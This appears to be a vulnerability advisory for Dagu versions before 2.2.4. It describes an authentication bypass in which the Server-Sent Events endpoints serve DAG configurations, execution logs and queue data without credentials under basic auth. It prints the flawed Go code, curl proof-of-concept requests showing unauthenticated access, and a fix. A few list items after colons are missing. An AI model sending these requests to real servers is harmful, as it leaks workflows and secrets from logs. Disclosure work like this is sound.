| Package | Affected versions | Patched versions |
|---|---|---|
| dagu | < 2.2.4 | 2.2.4 |
| dagu | < 2.2.4 | 2.2.4 |
When Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API.
HIGH (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
internal/service/frontend/server.go — buildStreamAuthOptions() function (lines 1177–1201)
The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value):
// server.go:1195-1201
if authCfg.Mode == config.AuthModeBasic {
return auth.Options{
Realm: realm,
BasicAuthEnabled: true,
Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
// AuthRequired is NOT set — defaults to false
}
}
The authentication middleware at internal/service/frontend/auth/middleware.go:181-183 allows unauthenticated requests when AuthRequired is false:
// No credentials provided
// If auth is not required, allow the request through
if !opts.AuthRequired {
next.ServeHTTP(w, r)
return
}
The developers left a FIXME comment (line 1193) acknowledging this issue:
// FIXME: add a session-token mechanism for basic-auth users so browser
// EventSource requests can authenticate via the ?token= query parameter.
All SSE routes are affected (server.go:1004-1019):
| Endpoint | Data Leaked |
|---|---|
/api/v1/events/dags | All DAG names, descriptions, file paths, schedules, tags, execution status |
/api/v1/events/dags/{fileName} | Individual DAG configuration details |
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Scan my site free/api/v1/events/dags/{fileName}/dag-runs | DAG execution history |
/api/v1/events/dag-runs | All active DAG runs across the system |
/api/v1/events/dag-runs/{name}/{dagRunId} | Specific DAG run status and node details |
/api/v1/events/dag-runs/{name}/{dagRunId}/logs | Execution logs (may contain secrets, credentials, API keys) |
/api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName} | Step-level stdout/stderr logs |
/api/v1/events/queues | Queue status and pending work items |
/api/v1/events/queues/{name}/items | Queue item details |
/api/v1/events/docs-tree | Documentation tree |
/api/v1/events/docs/* | Documentation content |
Additionally, the Agent SSE stream uses the same auth options (server.go:1166).
# Start Dagu with basic auth
export DAGU_AUTH_MODE=basic
export DAGU_AUTH_BASIC_USERNAME=admin
export DAGU_AUTH_BASIC_PASSWORD=secret123
dagu start-all
# Regular API — returns 401 Unauthorized
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/api/v1/dags
# Output: 401
# With credentials — returns 200
curl -s -o /dev/null -w "%{http_code}" -u admin:secret123 http://localhost:8080/api/v1/dags
# Output: 200
# SSE endpoint WITHOUT any credentials — returns 200 with full data
curl -s -N http://localhost:8080/api/v1/events/dags
Output (truncated):
event: connected
data: {"topic":"dagslist:"}
event: data
data: {"dags":[{"dag":{"name":"example-01-basic-sequential","schedule":[],...},
"filePath":"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml",
"latestDAGRun":{"dagRunId":"...","status":4,"statusLabel":"succeeded",...}},
...]}
# Access execution logs without credentials
curl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs
Output:
event: data
data: {"schedulerLog":{"content":"...step execution details, parameters, outputs..."},"stepLogs":[...]}
# Invalid credentials — returns 401 (auth validates IF provided, but doesn't REQUIRE it)
curl -s -o /dev/null -w "%{http_code}" -u wrong:wrong http://localhost:8080/api/v1/events/dags
# Output: 401
An unauthenticated network attacker can:
This is especially critical in environments where:
Set AuthRequired: true for basic auth mode and implement the session-token mechanism referenced in the FIXME comment:
if authCfg.Mode == config.AuthModeBasic {
return auth.Options{
Realm: realm,
BasicAuthEnabled: true,
AuthRequired: true, // Require authentication
Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
}
}
For browser SSE compatibility, implement a session token that can be passed via the ?token= query parameter (the QueryTokenMiddleware already exists at auth/middleware.go:39 to convert query params to Bearer tokens).